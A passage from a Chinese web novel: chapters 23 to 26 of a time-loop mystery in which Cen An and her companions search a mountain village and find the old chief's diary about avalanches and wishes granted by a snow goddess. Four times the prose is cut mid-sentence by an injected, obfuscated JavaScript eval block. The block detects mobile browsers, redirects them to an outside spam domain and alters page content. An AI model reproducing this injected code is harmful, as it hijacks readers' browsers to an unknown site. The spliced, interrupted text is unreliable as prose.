按理来说,即使是手机无信号的情况下,仍可通过紧急呼叫功能拨打报警电话。所以不是荀家村没信号导致无法报警,而是这个地方根本没办法联系上外界,就连村大门也出不去。 那么,荀小妹到底是如何通过荀昼生的手机联系上她的呢? 岑桉重又想起了这个问题,但此时显然不是发问的好时机。 她还有疑点没搞清楚,依旧未放松警惕,荀昼生仿佛听到了她心声般,替岑桉问出了口:“这是你的家务事,只要你不开口,我们根本不会知道,你大可以遮掩过去,为什么一定要点出来?” 荀叔远脸上写满“终于上套了”几个大字。 “娃娃们是聪明啊,俺其实是有事请你们帮忙。”他露出了狡诈的笑容,“老头不让俺出村,还让俺管好自己的嘴,那别人的嘴俺总管不着吧?你们都是好娃娃,上过学,知道大道理,等你们走之后,能不能帮俺报个警?” 还以为是个老实壮汉,没想到是只狡猾的狐狸。 三人两两对视一眼。 程杉的头点成了小鸡啄米,荀昼生也颔了下首,岑桉代表着三人出声答应下来。 * 再出门时,已经过了下雨的点。 荀叔远了却一桩心事,热情洋溢地提出要带他们上雪山,却遭荀昼生出言拒绝:“不了远叔,我跟他们一起。” 岑桉打圆场:“叔,您就别忙活了,您瞧,我带着相机呢,今天主要是取景拍点照片,明天您再给我仔细讲讲,我到时候发网上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209935|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “哎,也好也好,你们年轻娃娃有共同语言,”荀叔远拍拍荀昼生的肩膀,“你带他们去吧,等回去了别忘记答应俺的事儿。” “放心吧叔叔,包我们身上!”程杉拍着胸脯保证。 走之前,岑桉状似无意地问了一嘴:“对了叔,咱村路灯挺多啊。” “啊?”荀叔远一愣,“啥路灯?” 岑桉一愣神。 荀叔远大咧咧地摆摆手:“俺们都用煤油灯用惯了,大晚上也不出门,哪用得着城里的路灯啊。” 说者无意,听者有心。 都走出去一段了,岑桉还处在恍神的状态。她指着随处可见的路灯,问程杉:“这是什么?” 程杉懵了:“路灯啊。” 岑桉又问荀昼生:“你能看到吗?” 荀昼生点了点头。 “既然我们都能看到,那路灯就应该是存在的……吧?”岑桉语气迟疑。 “其实刚才我就想问了,”程杉摸着下巴,“姐你觉得路灯很多吗?” 岑桉一怔:“不多吗?” 几乎每三五步就有一盏路灯,这要是还不算多,那什么算多? 程杉表情迷茫:“我觉得不多啊,你看这条路望到头也就两盏,还没我们学校宿舍楼底下的多呢。” 荀昼生的目光在两人间徘徊:“我看到了五盏。” 岑桉几乎要闭上双眼:“八盏。是我有问题吗?” “如果都对不上,那就是路灯有问题。”荀昼生下了结论,他重新又数了一遍,“是路灯的问题没错,现在变成六盏了。” “瞎、瞎说的吧,”程杉一边哆嗦一边用手点着数,“完蛋了,我看到五盏了。” “我还是八盏,没变。”岑桉一颗心不知道该提起还是放下,“路灯确实有问题,我原本以为只有亮的时候才有问题,没想到不亮的时候还会有丝分裂。” “啊、啊?”程杉结巴道,“亮、亮的时候有啥问题啊?” “有问题也不怕,你不是有‘咒语’吗?”荀昼生的目光落到了岑桉身上,“煤、油、灯,对吧?” 也许是他消了气,原谅了她之前的举动,岑桉此时再看向荀昼生眼底时,那汪冰潭融开了一条碎隙。 她不自然地摸了摸鼻子:“问我做什么,你不是比我更清楚吗。” 荀昼生一顿。 他的眉头慢慢拧了起来:“你真的不会选择性刷新记忆吗?” “哦对哦,我差点忘了,你们说的那什么刷新记忆,是咋回事啊?”程杉忽然想起了这一茬,“是什么游戏设定吗?” “你等会儿的。”岑桉拦下他,转向荀昼生,“为什么这么问?” “煤油灯是你教我的‘咒语’,你不记得了。”荀昼生一字一句道,“还有那摊泥的名字,你也忘记了。” “需要我自证吗?”岑桉伸手问他讨要短刀,“刚才没完成,现在要看吗?” 他说:“不用,我信你。但我需要一个解释,你记得‘金箍棒’,为什么不记得这两件事?” “好,既然你不需要我自证,那我有问题要问你。”岑桉盯着他的表情变化,“咒语是谁教我的?” “你说,是一个很重要的人。”荀昼生垂下眼。 “那‘金箍棒’是谁给我的?” “我没问,但程杉问过,”荀昼生的语气里莫名添了丝落寞,“‘一个只知道付出还有口难辨的傻子’,你是这么说的。” 24. 第二十四章 全都乱套了。 岑桉面无表情地想。 她不承认那种酸话会是她说出来的,更何况她记忆里根本没这一段。 但要说这话是小机器人杜撰出来的,岑桉也不相信。 她亲身认证过荀昼生不会撒谎,而且他看起来不是这种会遣词造句的人,还什么“只知道付出还有口难辨的傻子”——天呐,哪里来的恋爱的酸臭味。 一旁的程杉虽然没搞清楚状况,但毫不犹豫地发声支援:“我信,我老姐就这么说话,她给我说过一模一样的话。” 岑桉:? 岑桉:“我怎么不记得。” “你说我是个只知道偷乐不知道捂嘴的傻子,这话我能记一、辈、子。” 程杉幽怨地放慢了语速。 岑桉:“……” 小时候这傻孩子偷吃糖还把糖纸扔在她房间的垃圾桶里,那时候他正蛀牙,被小姨看得紧,连带着岑桉也跟着戒了糖,傻孩子怕挨骂就想把这个黑锅扣到她头上。 妈妈发现得很快,对岑桉一通训斥,结果岑桉一抬头正巧瞅到了咧着嘴傻乐的程杉,这才真相大白。 岑桉那个时候给出的评价,程杉居然记仇记到现在,真不知道是该夸他记性好还是骂他小心眼。 再说了—— 这两句话的语气能一样吗! 根本就是两模两样啊! 岑桉懒得计较,她相信只要是个有脑子的就不会跟程杉一般见识。 她暂时把重点从那两句酸话上挪开,转移到了烂泥、“咒语”和“金箍棒”身上。 虽然不知道他们两人之间为什么会有认知偏差,如果荀昼生所言属实,那么在他的视角里,那个“引领者”的角色是由她来扮演的,与岑桉视角里的认知截然相反。 “是平行世界吗?” 岑桉是这样猜测的,也是这样问出口的。 “啥玩意儿?”程杉呆滞,“你们谁能给我解释一下不?” 岑桉无奈:“不是我不想解释,确实是有点词汇受限,循环轮回重生我一个也说不出来啊。” ——等等。 “能说出来了?!” 岑桉大惊。 程杉唯唯诺诺:“老姐你在演绎独角戏吗……” 岑桉没工夫搭理他,直直看向荀昼生:“受限词你知道吗?就是关键词屏蔽,你现在还受限制吗?” 荀昼生更困惑了:“什么受限词?还有平行世界,我也没明白。” 这事儿必须得捋明白。 岑桉再次冲他伸手:“有纸笔吗?咱们从头说。” 岑桉用最简短的方式给程杉做了个概述:她重生了,第一次被人杀了,第二次从高空坠落了,第三次被人杀了,第四次被泥杀了,总而言之,现在是第五次,她被困在一个循环里,只要死亡就会触发轮回,暂时没找到原因。 荀昼生对这个概述表示了认可。 显然,两人对循环触发条件的认知是一致的。 “但有一个问题,”荀昼生说,“次数不对。” 岑桉感觉自己隐隐约约抓到了乱麻的关键线头。 “前面我遇到了点意外状况,神智不太清醒,也许是死于高空坠落,我不太能确定。最后一次是在索道边,我看到了你的尸体,我沿着脚印去追,然后就不省人事了。但我可以肯定,这绝对不是我的第五次循环。” 岑桉问:“你是说,你不是在我死亡后同步触发循环?” 荀昼生给出了肯定的答复:“对,我的触发条件和你一致,是我自身的死亡。” 岑桉陷入沉思。 各自死亡,各自触发,那他们所处的真的是同一条时间线吗? “抱歉,可能接下来的推理要交给你了,程杉说过,你很擅长这个。”荀昼生看了眼手机的时间,“介于我们触发条件都是死亡,我建议分头行动,我得去核实一件事,如果还能再见,我会在下一次告诉你。” 他礼貌地冲两人点了点头:“回见。” 直到荀昼生的背影都消失在二人的视野里,程杉仍处在世界观冲击的震撼中。 原来昨晚老姐说要拯救世界,还真不是脑子一抽无中生有,她是真陷入了时间循环啊! 为啥,为啥啊? 他看了这么多动漫,等了这么多年,就是为了这么个拯救世界的机会,怎么到头来主角成了老姐啊? “姐,”程杉卑微地替她捶着肩膀,“这是恋爱番吗?” 岑桉:? 就知道这小子无事献殷勤没安好心,怎么都到新一循环了,他还在惦记这事儿啊。 “有话直说。” “你看啊姐,荀昼生看着弱不禁风的,而且跟你也没有感情基础,你又对恋爱没啥追求,这么对比下来,我的优势是不是就很明显了?”程杉振振有词,“以咱俩的交情,你不得给我个男主角当当啊?” “程杉,我有个问题想问很久了,”岑桉是真想不通,“你把现实当动漫就算了,怎么还就认定了我能决定男主角啊?” “当然了姐!”程杉支棱起来,“你没听过那句话吗?女主选择谁,谁就是男主啊!” 岑桉:? 岑桉:“这句话是这么用的吗?” “姐,姐弟番真的还挺有市场的,你考虑考虑我吧。” 岑桉:“……” “看你表现吧,”岑桉想了想,这确实是个拿捏表弟的好机会,“接下来你得乖乖听我的,不准乱跑。” “得嘞!那咱们现在去哪儿?”程杉狗腿子道。 “去啃硬骨头。” 岑桉如是说。 * 老村长家是村大门入口西侧的第一栋平房,从外观上看,和其他的屋子也没什么不同,只是离大门更近,像是整个荀家村的迎客松,又像是雪山入口的护卫兵。 岑桉的想法很简单。 老村长荀柱是整个村子年岁最大的人,也是雪山过往最直接的知情人,荀叔远讲的故事大多来自于“听说”,但荀柱是彻彻底底的亲历者,自然也最有话语权。 还有很重要的一个因素。 岑桉隐隐感到,荀叔远所看到的陈年旧事不过是冰山一角,他对雪山娘娘没有发自内心的敬仰,对于祭神节的描述重点大多落在节日的吃食,对传说中的神明没有避讳和顾忌,对雪崩也没什么更深的怀疑,仿佛只是三场自然发生的天灾。 岑桉觉得并非如此,其中必然另有隐情。 怎么就那么巧,第一次无人受伤,第二次死了个顶梁柱村长,第三次就死伤无数? 这种循序渐进的受灾人数,更像是一种试探,一种温水煮青蛙式的试探——只不过最后一次实在是水温过高了。 还有荀昼生,即便她再信任他,也觉得他身上疑点重重——这种疑点与立场和信任无关,而是一种云山雾绕的朦胧感。 之前几次他给她的感觉是一个具象的、立体的人,可这次不同,似乎多了几分疏离。 那段关于雪崩的故事里没有出现荀昼生,姑且可以理解为荀叔远作为讲述者的记忆漏洞和视角偏差,那么她和荀昼生之间的记忆错位又是怎么回事?难不成真的是不同的平行世界吗? 但那种“引导者”身份的转化又十分微妙,微妙到岑桉产生了一个大胆的想法——也许是两条时间线呢? 在两条并行的时间线上,分别由两人其中一人担任引路的角色,另一人则处于慢慢探索拨开云雾的阶段。 可是,如今她同荀昼生的错位相遇,正如两条并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215066|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行时间线的交合,这是如何实现的呢? 岑桉找到了乱麻的线头,却不知如何下手解开。 老村长荀柱成了解谜的关键人物,此去势在必行。岑桉有种预感,老村长那里会有她解锁的钥匙。 然而人算不如天算,荀叔远口中每时每日都守在家里的老村长,此刻却不在家中。 屋门虚掩着,他们敲了又敲,也不见有人开门,程杉萌生了退意:“姐,没人在家,我们要不改天再来吧?” 岑桉瞥他一眼:“改天?改哪天,改我再死再生的那天?” 程杉不吭声了。 哪怕他阅动漫无数,对时间循环熟得不能再熟了,但程杉还是没有完全接受老姐死过几回的事实——正常人谁能随随便便就接受这个设定啊,他已经算很不错了。 岑桉也是有所保留,没有告诉弟弟他也死过至少一回。 先让他这么傻着吧,傻至少快乐,还有她顶着呢。 岑桉现在已经抛开了部分道德感的束缚,比如现在,她已经有了趁主人不在潜入屋中探查一番的想法——显然私闯民宅是犯法的。 她给自己做了很久心理建设,最后甚至考虑好等出去之后投案自首,却见门缝里飘飘然掉下一张布条,布条正面是两个显眼的大字——请进。 两人面面相觑。 这算什么,未卜先知吗? 无论如何,得了主人家的允许,岑桉定下心神,推开了老村长家的屋门。 屋里的摆设很少,除了最基本的桌椅和床,其他大件物品一概没有。 光线最好的地方摆了台课桌,像是留给荀耀读书用的,但荀柱连学都没让他上,何必弄台学习桌装模作样呢。 “姐,”程杉虽然还遭受着内心的谴责,但已然觉醒了“来都来了”的思想,“我们从哪里开始?” “找笔记,”岑桉笃定说,“荀小妹日记里提过,老村长告诉她,如果有什么怕忘记的事情,可以用笔记下来,这样就能永远留下痕记了。” 所以,他一定也有什么不愿意忘记的重要事情,就藏在这里的某一个角落。 姐弟两人像陀螺一样在屋里打转,找遍了每一个犄角旮旯,每找完一个地方又小心翼翼地物归原位。 课桌上没有,床底下没有,橱柜里除了几件旧衣外空空如也,哪里都不像藏了东西。 岑桉连橱里每个夹板和桌椅的每个缝隙都瞧了,一无所获。正当她一筹莫展之时,程杉脚底打滑,一屁股坐在地上,肩膀撞上了课桌,桌面上的书散落一地。 一声清脆的落地声引起了二人的注意。 ——是一把钥匙。 它旁边摊开的书页里,挖了一个钥匙形状的空洞,刚刚好成为了钥匙的容身之所。 钥匙是歪打正着发现了,那锁呢? “继续找,屋里没有就去院里,今天怎么也得找到。” 岑桉拿了把铁锹就开始挖院里的土。 电脑桌面的扫雷岑桉玩过无数次,现实中的扫雷寻宝还真的头一回。 她先试了四角,又辗转边缘位置,最后拎着铁锹瞄准了院正中那棵不知名的树,还真让她在树底下的土里刨出了一个木匣子。 木匣子严丝合缝,开口处挂了把小锁,岑桉用钥匙打开,盒里头静静地躺着一支经幡,还有一本用透明袋封好口的笔记本。 她长舒一口气,用湿巾擦净了手上的尘土,小心翼翼地打开了袋子封口,招呼程杉过来一起看笔记内容。 也许是多次摩挲,封皮起了毛刺,内页都有些散架了,笔记本随着岑桉的手翻开了最常被翻看的那页,也是笔记本写有字迹的最后一页—— “XS74年6月20日 仲安没了。 祂还是来了。” 25. 第二十五章 XS41年1月31日 纪念人生第一次看到雪崩。 阿兰说,这是神明的力量,我笑话她,雪山娘娘是保佑我们的,怎么会制造雪崩呢。 她还是害怕,说雪山娘娘在警告我们。 什么警告啊,三个村子一个人都没伤着,还能不是神明的庇护吗? 老爹说了,今年要多供些贡品,估计得省吃俭用喽。 雪山娘娘保佑。 * XS41年2月18日 去年有个好收成,今年的种子肯定也不错,等到三月播种就又是一年啊。 大哥最近忙得很,老爹和平叔天天拉着他学东学西的。 不写了不写了,永明叔喊我去分种子了,得找他好好蹭壶酒喝。 雪山娘娘保佑。 * XS41年2月23日 臭小子,这么大点就会偷老子的酒了! 我得告诉大哥,必须得揍他个屁股开花! 雪山娘娘保佑。 * XS44年8月21日 这啥时候的笔记本,我咋不记着了。 哦雪崩啊,那难怪呢,我说我怎么闲得没事整个日记本。 阿兰还笑话我贵人多忘事,雪崩这种事一辈子能碰上几回啊,我还没笑她一孕傻三年呢。多亏有雪山娘娘,我们才能平安无事,老大才能健健康康长大。 雪山娘娘保佑。 * XS45年2月17日 特大好消息!今年良种活种特别多! 特特特大好消息!阿兰又怀了! 晚上找永明叔蹭壶酒去。 雪山娘娘保佑。 * XS45年2月26日 老爹身子骨越来越差了,平叔更是离不开床了,大哥现在每天都泡在村里,大事小事都忙活。 我估摸着,大哥要当村长了。 唉,原来还说等他上任要狠狠宰他一顿,去城镇下个馆子什么的,现在哪儿有这心情啊。 雪山娘娘保佑。 * XS45年3月21日 今天是春分。 种子下地了,大哥也当上村长了,阿兰肚里的老二也很听话。 真好啊,我们都有光明的未来。 雪山娘娘保佑。 * XS45年6月20日 今年祭神节本来应该大哥去的,他是村长,本该代表我们家。但大哥不肯,说今年种子好,肯定会有个大丰收,让我上雪山见雪山娘娘。 阿兰可高兴,挺着大肚子给我亲手准备了五色经幡,媳妇真好。 大哥够义气。 雪山娘娘保佑。 * XS45年7月31日 疯了,都疯了。 怎么又有雪崩?? 大哥怎么可能死,怎么可能死? 雪山娘娘保佑,雪山娘娘保佑,能不能把我大哥还给我? * XS45年9月23日 大哥走了快俩月,老爹走了,平叔也走了。嫂嫂眼都哭瞎了,孩子还那么小,唉。 头上有个大哥的时候,遇到什么困难都不怕,大哥走了,家里的主心骨走了,顶梁柱都塌了。 以前我还记恨大哥,老爹把念书的机会给了他,家里农活都是我干,也就入了夜才能偷偷摸摸看两本书。前些天整理遗物的时候,嫂嫂说大哥的书都留给我了,大哥早就发现我偷着用功,心里愧疚,总想帮我一把。 现在愧疚的是我了。 如果不是老二在肚里闹腾阿兰,我也不会留在家里,雪那么大,我在地里也活不成,也许大哥就不会死了。你回来吧大哥,把我的命抵上也行,咱们兄弟俩一块儿走也成,别留我一个。 阿兰打我,她说我失心疯了,放着好好一个家不管,居然想去死。 我就是失心疯了,大哥为什么会死,雪山娘娘呢?雪山娘娘为什么不护着他? 他们凭什么说大哥触怒了雪山娘娘? 雪山娘娘真的存在吗? * XS45年10月3日 嫂嫂走了。 大哥走之后她就一直哭,眼哭瞎了,心哭死了,人也就没了。 我跟阿兰商量了,等老二生下来,就把大哥家的小子过继到我名下养着,到时候送他出去上学,好好读书。 * XS45年10月17日 阿兰生了,是个男孩。 以后他就是老三了,我们家有三个孩子了。我看书上说,孩子取名是有顺序的,伯仲叔季,就给他们取名荀伯、荀仲、荀叔吧,又好记又有文化。 我得养活他们仨,还有我媳妇阿兰,我得让他们过上好日子。 * XS45年10月18日 他们想让我当村长。 我不想答应的,但是永明叔来劝我了,他说,大哥已经走了,我得把村子弄好,大哥才能放心。 我当。 * XS45年12月31日 和阿兰商量过了,三个孩子上户口的名字定了。 老大叫荀伯成,他要像大哥一样有出息,干大事。 老二叫荀仲安,我对他没什么指望,安安稳稳一辈子就成。 老三就叫荀叔远,阿兰取的,女人哪能做主取名字,但她铁了心一定要这个“远”字。 行吧,志存高远,也挺好听的,依她一回。 今年的最后一天了,希望明年一切顺利,平平安安。 * XS49年6月20日 祭神节越来越没味了。 已经没什么人上雪山了,我也不去了,搞个灯火吃顿好的就是了,上什么雪山。 * XS53年6月20日 这几年的小娃娃能走的都走了。 我对不起大哥,荀家村大不如前了,但都走了也好,谁知道会不会再来场雪崩。 阿兰前两年劝我,说让带着孩子们搬去城里,我不答应。 我的根在这里,谁都能走,我不能走。她也不犟了,每天都盯着雪山发呆。 唉,以后还是不跟她犟了,她这两年身子也不见好了。 * XS54年7月18日 城里老师说,老大是念书的料,阿兰听了高兴,多吃了半张饼。好,念书好,我就是咬牙也得让他接着读,高中也供得起。 老二说不想读了,想回来干活。他才念完小学,我哪儿忍心,再念三年吧,至少拿个初中文凭。别像我当年一样,为了这张文凭记恨了那么久,成了疙瘩解不开,伤口都化脓了。 老三…… 唉,懒得说他,家家有本难念的经。这才刚上学两年就鸡飞狗跳了,好在还长了张嘴,会哄阿兰开心。 算了算了,阿兰开心就好。 * XS55年7月31日 大哥走了十年了。 前几天做梦又梦到了大哥,他说让我歇一歇,别那么累。唉,哪能不累,村里人走了那么多,鸡毛蒜皮的事儿还是一大堆,等老二回来就好了,他回来我就有帮手了。 老大要继续读高中了,等他考个大学找个好工作,就能在城里定居,我也算是对得起大哥和嫂嫂了。 * XS56年6月20日 阿兰走了,偏偏是今天走的。我都几年没上过雪山了,她临走前还说,让我上雪山挂支经幡。都这时候了,她还信神明。 永明叔前几天也走了,一点痛苦也没有,梦里走的,我和大正小娟一起送的他,勤哥也回来了,阿兰那时候已经爬不起来了,我替她上了炷香。 大正说,小娟总觉得当年那事不对劲。 那可是不对劲,这么大的雪崩,就走了我大哥一个,就跟书上说的那什么一样,哦对,那叫“精准打击”。真是笑话。 他们比我坚持得久,现在也不上雪山了,就到雪山脚下点个灯表个心意。唉,一转眼孩子都那么大了,顶上那些老家伙都走了,我们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232507|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一辈居然成老一辈了。 * XS57年9月22日 老二还真是干活一把好手,今年有他在家,我省心多了。 * XS57年10月1日 我得把老二带在身边手把手教着,他早一点出师,我早一点歇着。 后继有人喽。 * XS57年12月31日 和大正约着喝酒,刚好勤哥回来了。 勤哥媳妇早些年生了场大病,他就一直在外头打工,给媳妇攒钱买药,去年已经能下床走动了。他儿子明年就要娶媳妇了,女儿也定好了人家,等儿子结了婚,女儿就要远嫁了,再以后团聚就难了。他说,这次回来就不走了。 那敢情好,哥仨已经好几年没一块儿喝酒了,以后就又能凑一起攒局了。 大正羡慕我家老二能吃苦,肯下力,说我没两年就能卸任了。 酸不溜秋的,我才懒得理他。 咋的,我家老大就不好啦?念书这块就没用我操过心,上高中住学校了,虽然不知道考得咋样,但肯定差不了,就等着明年录取通知书喽。 哈哈,荀家村也要出大学生了,祖上冒青烟的天大喜事儿啊! 唉老三,不提也罢。 * XS58年5月29日 小兔崽子! 老子供他读到高三了,眼见着就要高考了,他说不读就不读了? 混账玩意儿! 我大哥怎么会生出这么个东西! * XS58年5月31日 家里能摔的东西都摔了,好话赖话说尽了,都没用。 他居然说老子偏心眼,把好的都留给老二了,还说要真对他好,就让他当村长。兔崽子,当村长能有考大学吃香啊?老二能念我都不让他念了,就为了供他一个,他还跟我翻脸了? 我真想一巴掌甩他脸上。 但小兔崽子太会长了,五官跟大哥一个模子刻出来的,我下不去手。 要是大哥还在就好了。 唉…… * XS58年6月4日 真是懂事孩子,唉。 老二说,他找老大聊过了,他不要当什么村长,就留给老大当,他说他就想帮我干活。 “大哥肯定比我强。” 傻孩子。 唉。 阿兰要是在,肯定要说这孩子像我了。 我才没他这么懂事,我那时候心里可记恨大哥了。 * XS58年7月12日 兔崽子!这个也是个兔崽子! 老三留了个小破纸条就跑了,还什么“我去城里打拼了”,那笔狗爬字,还真好意思写出来,打拼个屁!他才13岁!老子看他就是数学不及格不想念初中了! 老子怎么会有这么个狗儿子! * XS58年7月28日 气得我天天咳嗽。 还好老二在,给我煮了梨汤。 唉,好孩子。 * XS62年1月31日 狗儿子总算记起爹来了。 都出去三年多了,终于记起家门来了。小子还算有本事,居然赚了点钱,没丢老子的脸。 * XS62年2月1日 臭小子,招呼不打一声又跑了! 别让老子逮着你,不然非给你打得屁股开花! * XS63年6月17日 昨晚大暴雨,圈里跑了几只羊。 勤哥媳妇夜里摸黑摔了一跤,又躺床上了。 也是多灾多难的,唉。 * XS63年6月21日 路灯? 我眼花了吧,一睁眼怎么村里有路灯了? * XS63年6月23日 把村里各户都摸排了一遍,没人知道路灯怎么来的,真是奇了怪了。 雪山娘娘又显灵了? 26. 第二十六章 XS63年6月24日 勤哥领着他小孙子早生来找我,说这娃娃可能知情。 我这还半信半疑呢,这么大点的娃娃也就刚能说利索话,能知什么情,结果他一张嘴给我吓一跳。早生说,祭神节那天,他偷着跑出去了,许了愿,想要村里晚上能有光亮,奶奶就不会摔跤了。 还真是雪山娘娘? 大哥走之后我就再没信过雪山娘娘了,娃娃许愿管用,我许愿凭什么不管用?我那年祭神节许愿家人平安如意,怎么一点没实现呢? * XS63年6月27日 我还是没死心,去雪山上看了,都是老样子,一点没变。 雪山下我也去了,什么时候多出来这么多泥啊。 算了,就这样吧,我的愿望是实现不了了,娃娃的愿望能实现也好,也算是给村里添了便利了。 * XS63年8月19日 也怪我说漏了嘴,把勤哥家小孙子的事儿当下饭菜讲了,老大居然信了娃娃的话,天天跑山底下许愿去了。 得,懒得管,等他自个儿觉得没趣就回来了。 * XS63年9月1日 老大回来这么多年没下过地,天天搁窝里躺着,最近是怎么了,日日跑田里折腾。老二说大哥开窍了,是好事。他们兄弟俩能这么扶持下去,我也就放心了。 * XS63年9月8日 田里挖出了黄金??? * XS63年9月9日 娘嘞。 老大说他许愿成功了。 是他疯了还是我疯了? * XS63年10月2日 又一块黄金。 真是疯了。 * XS63年10月5日 我劝老大把黄金卖了换钱。他这么大年纪不娶媳妇不成家就算了,也不干活不养家,每天张口吃白饭,家里的地都是老二一个人忙活。我也没想让他卖钱补贴家用,就是攒下来以后给媳妇孩子也好啊。他死活不肯,说是神明的赏赐,要留下来镇宅。 他还跟老二吵架,说老二眼红他受神明赏识,才让我来当说客。天爷,这种话都是从哪儿听来的? 老二也没什么怨言,说大哥运气好也是家里运气好,而且他已经开始下地了,以后慢慢就好了。 唉,儿孙自有儿孙福啊,我不该多事的。 还有那个兔崽子老三,从小主意就正,现在逢年过节才回来,只要回来就绝口不提外面的事儿,可怜我被他糊弄得晕头转向。唉,也不知道臭小子在外头混没混出个名堂来,心里头还有没有我这个老爹。 * XS63年12月13日 老二带了个姑娘回家相看,是王家的女娃,叫王春花。 哎呀,那姑娘看着就是个会过日子的,我原来还担心他打光棍,这下好了,媳妇都有了,娃娃还会远么。 我得早点开始准备娃娃的名字了。 * XS64年1月1日 老大居然也带了个姑娘回来。 真稀罕,没想到他还有看得上眼的姑娘。早先大正给他张罗了多少王家何家的好姑娘,他居然拿鼻孔看人。唉,是我没教好他,以前多好一孩子,要是大哥在就好了,肯定不会长歪。 不过这姑娘瞅着确实好,长得水灵,据说还是个大学生,在城里工作。她说自个儿和老大是高中同学,当时她就看上老大了,后来毕业也再没联系,这次是在城里买东西碰上的。闲聊起来才知道,原来当年老大没参加高考是回来接任村长了。 她说,老大为了同根同脉的村民放弃了前途,是一件很伟大很不容易的事情,她就是被老大的责任心打动的。 瞎说!胡闹!怎么能扯谎骗人家姑娘呢! 但老大一直盯着我,他把我拉到院里,跪地上求我:“老爹,我就求你这一件事,你别戳穿我。”这是他第一次喊我老爹,说的每个字我都记得清清楚楚。他长得那么像大哥,我就好像看到大哥跪在那儿,我哪里忍心啊。 唉。 是我欠大哥的。 好在老二也不介意,以后就把村长留给老大当吧,也算没有糊弄人家姑娘了。 等姑娘嫁进来生个娃娃,大哥就有后了。 * XS64年3月21日 老二有结婚的想法了。 但村里不成文的习俗,长幼有序,老大没成家,老二就不能结婚。我也不好催姑娘那边,就问了问老大,他说他们在自由恋爱,没考虑结婚,给我气的,火噌噌的。 不想结婚不想负责就别吊着人家姑娘,算什么男人! 我骂他,他居然也没火,等我骂完了才蹦出来句:“她爹说了,要想结婚,我就得去城里住。”他说,他不愿意。 不识好歹,去城里多好啊,搁村里要啥没啥。 他指着我鼻子问:“你是不是从来没想过把村长给我,才千方百计要把我赶出去?” 天爷,丧良心啊!他怎么能说出这么丧良心的话!我现在写字的手都在抖,当时更是气得头发晕。 他真不是个东西啊。 我对不起大哥。 * XS64年12月21日 拉拉扯扯快一年,俩人还是分了。 造孽啊。 * XS64年12月22日 我带着东西去王家看王春花,给她老爹老娘赔礼道歉。 那也是个好孩子,她说她就认定老二了,她能等。 我真对不起老二。 * XS65年4月12日 姑娘跑荀家村来了。 她把工作辞了,跑村里找老大。 我问她,老爹老娘知道吗,她不吭声。 我又问她,工作都不要了,以后怎么办。她说,她就想跟老大好好过日子。 多好的姑娘啊,怎么就让老大祸害了。 她大大方方地给我倒茶,一点没把自己当外人,跟我絮叨老大有多好多好。她说老大念书的时候,班里有小男生拽她辫子,是老大帮她解围的,他把那小男生打了一顿,从那之后老大在她心里的形象就特别高大,特别有安全感。 她暗恋了老大三年,毕业知道老大没参加高考还挺失落,所以后来在城里重逢时特别惊喜,觉得老大有担当有胆魄,值得托付一生。 我还是问她,真的想好了吗,老爹老娘那边怎么办。 她说,想好了,都想好了,她是个成年人了,自己的决定自己负责。 她说,她把户口本偷来了,爸妈那边能瞒多久是多久吧,等尘埃落定,他们会理解她的。 傻姑娘。 希望老大能好好对她吧。 * XS65年4月13日 老大直接拉着她去扯证了。 他说,迟则生变,得赶紧生米煮成熟饭,才不耽误老二结婚。 唉,造孽啊。 但他心里还有弟弟,我也挺欣慰的。 * XS65年5月2日 我跟老二去王家提亲了,每个人都很高兴,脸上都乐呵呵的。 真好啊,真好。 * XS65年5月11日 我问老大,证都扯了,什么时候办酒席。 他不耐烦,办什么酒席,多浪费钱,有证不就行了吗。老大媳妇就在旁边听着,看着挺不高兴的,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232508|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没说什么。 唉,儿孙自有儿孙福,算了。 * XS65年8月2日 准备了这么久,酒席大办特办,老二脸上都乐开花了。 老三也回来了,看到老大多了个媳妇,问我老大结婚为啥不叫他回来吃席。我哪能说没办啊,含糊着给他糊弄过去了。大喜的日子,不提不高兴的事儿。 我啥时候能抱上大胖小子啊,勤哥家的早生都到上小学的年龄了。 * 